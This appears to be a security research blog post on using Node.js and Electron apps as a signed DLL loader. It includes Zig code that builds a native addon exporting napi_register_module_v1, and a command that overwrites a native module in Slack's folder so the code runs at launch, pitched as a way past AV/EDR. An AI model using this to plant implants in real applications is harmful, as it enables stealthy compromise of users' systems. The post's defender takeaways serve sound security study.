Node is a loader
Node.js supports C++ addons(may be referred to as native modules). They allow you to extend your module functionality using a shared object.
Addons are dynamically-linked shared objects written in C++. The require() function can load addons as ordinary Node.js modules. Addons provide an interface between JavaScript and C/C++ libraries.
The hello world is straightforward, and there is a build tool node-gyp that can be used to build these easily.
What is a loader?
There are various definitions, and at some point, the lines between them begin to blur. To be succinct, a loader is a type of malware or technique that optionally downloads and executes an additional payload. In this case, we will use Node.js as a DLL loader.
This technique has likely been used by threat actors in the wild.
Why Node.js?
Drivers and applications have shipped with node.exe
(macOS and Linux are also targets) to run their user interfaces for some time. Node.js has been bundled with graphics drivers, mouse drivers, photo editing software, AV and EDR products, and is also installed as part of Visual Studio. As we will eventually see, Electron is also a target. The node.exe
binary is likely to be allowlisted and is signed. From the perspective of a loader, this is beneficial for bypassing AV/EDR. Even if we can't find it already installed on a target system, the binary can be shipped as part of the initial stage, though Node.js is becoming increasingly large.
The well-known symbol
If we have a DLL, we can use Node.js to load it and execute code. Using node-gyp
with C++ to build a DLL is straightforward. However, since we only need to support loading and registration, we can use the well-known symbol napi_register_module_v1
. This approach is possible with C, Go, Rust, etc.
With Node.js on the system, it is also possible to just write malicious code using JavaScript. And if you minify and obfuscate it, it can be very difficult to triage behavior. It is still, however, human readable. Porting a C2 agent over to JavaScript may be difficult depending on complexity.
Building with Zig
I have been interested in Zig for some time. It is not necessary here, but it was a good excuse to play around with the ecosystem. In fact, this post started as me just learning how to do this with Zig. The language is young and not yet at version 1.0, but I appreciate the build system. As John Carmack said about Rust, it "feels wholesome."
To follow along, install Zig first. I built this on a Windows system, but cross-compiling should also work.
Project Initialization
Create a new directory and initialize the project:
mkdir nodejs_loader
cd nodejs_loader
zig init
Modifying build.zig
Using your editor of choice, modify the build.zig
file:
const std = @import("std");
pub fn build(b: *std.Build) void {
const target = b.standardTargetOptions(.{});
const optimize = b.standardOptimizeOption(.{});
const lib = b.addSharedLibrary(.{
.name = "addon",
.root_source_file = b.path("src/root.zig"),
.target = target,
.optimize = optimize,
});
b.installArtifact(lib);
}
Writing src/root.zig
Next, open src/root.zig
and add the following code:
const std = @import("std");
const windows = std.os.windows;
extern "user32" fn MessageBoxA(hWnd: ?windows.HANDLE, lpText: ?windows.LPCSTR, lpCaption: ?windows.LPCSTR, uType: windows.UINT) c_int;
pub export fn napi_register_module_v1(
_: *anyopaque,
exports: *anyopaque,
) *anyopaque {
_ = MessageBoxA(null, "From Zig from Node!", "Node and Zig", 0);
return exports;
}
This code defines MessageBoxA
from user32.dll
and exports the function napi_register_module_v1
.
Building and Copying the DLL
Next, build and copy your DLL to a .node
file (the convention for Node.js addons):
c:\nodejs_loader> zig build -Doptimize=ReleaseSmall
c:\nodejs_loader> move zig-out\bin\addon.dll addon.node
Create JavaScript File
Next, we need a JavaScript file to load the addon. Create index.js
and add the following code:
var _ = require("./addon")
Running the Loader
To run, copy index.js
and addon.node
to a target system. Then either download a recent version of node.exe
or find an existing installation on the target system.
Note: I have not traced back the earliest Node.js version that supports this well-known symbol.
Finding node.exe
On my own system, there are more than a few copies laying around...
C:\> where /r C:\ node.exe
C:\Program Files\Adobe\Adobe Creative Cloud Experience\libs\node.exe
C:\Program Files\Adobe\Adobe Photoshop 2025\node.exe
C:\Program Files\Common Files\Adobe\Creative Cloud Libraries\libs\node.exe
C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Microsoft\VisualStudio\NodeJs\node.exe
C:\Program Files\nodejs\node.exe
C:\Program Files\Unity\Hub\Editor\2022.3.15f1\Editor\Data\PlaybackEngines\WebGLSupport\BuildTools\Emscripten\node\node.exe
Pick one, and then run it.
Launching a message box is nothing special, but is good for demonstration. A real scenario could involve writing an actual implant in Zig or injecting an existing implant into memory.
Hijacking Slack
Hijacking Electron applications is not new or novel, there are some really good posts discussing the topic:
Slack uses Electron. Modern Electron applications package everything up, so you don't get node.exe
or really any JavaScript files you can edit directly. You can modify the asar archive as one of the posts discussed above, but you can also replace .node
files directly.
Let's take a look at a typical Windows install and find some files:
PS C:\Users\tom\AppData\Local\slack\app-4.42.117> Get-ChildItem -Path .\ -Recurse -Filter "*.node" -ErrorAction SilentlyContinue
Directory: C:\Users\tom\AppData\Local\slack\app-4.42.117\resources\app.asar.unpacked\node_modules
\@tinyspeck\native-keymap\build\Release
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/16/2025 8:25 PM 159536 keymapping.node
There are a bunch. Process Monitor shows a more complete picture. The following shows all the DLLs that Slack is attempting to load.
Next, let's take our addon.node
file and overwrite one of the identified .node
files. I chose one randomly:
c:\>move C:\Users\tom\Downloads\addon.node C:\Users\tom\AppData\Local\slack\app-4.42.117\resources\app.asar.unpacked\node_modules\registry-js\build\Release\registry.node
Now run Slack. As shown, the DLL is loaded and our code executed:
Other Targets
The list of potential targets is large, including VSCode, Docker Desktop, Teams, Logitech, Signal, etc. The key to finding a good target is directories you can edit. Like this one in VSCode:
PS C:\Users\tom\.vscode> Get-ChildItem -Path .\ -Recurse -Filter "*.node" -ErrorAction SilentlyContinue
Directory: C:\Users\tom\.vscode\extensions\ms-dotnettools.csdevkit-1.16.6-win32-x64\dist\node_mod
ules\deviceid\build\Release
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/16/2025 3:01 PM 113152 windows.node
Although, if you can't edit the directory you can likely copy it somewhere you can. Or just ship it. Will anyone think twice about Logitech Hub being on a system? You can also get a list of targets using Process Monitor and filtering for LoadImage
and a path containing .node
.
Takeaways
We demonstrated several ways to use Node.js and Electron to load DLLs. Since these binaries are signed and often allowlisted, attackers can exploit this to bypass AV and EDR products. Defenders should be aware of this technique and ensure their detection and prevention mechanisms are properly tuned rather than blindly trusting Node.js and other applications. MITRE ATT&CK provides insights into these techniques such as Signed Binary Proxy Execution (T1218.015) and DLL Search Order Hijacking (T1574.001). Mitigations exist for ASAR attacks in Electron, which can help prevent modification of the archive (ASAR Integrity).
We also got to play with Zig, which is always fun.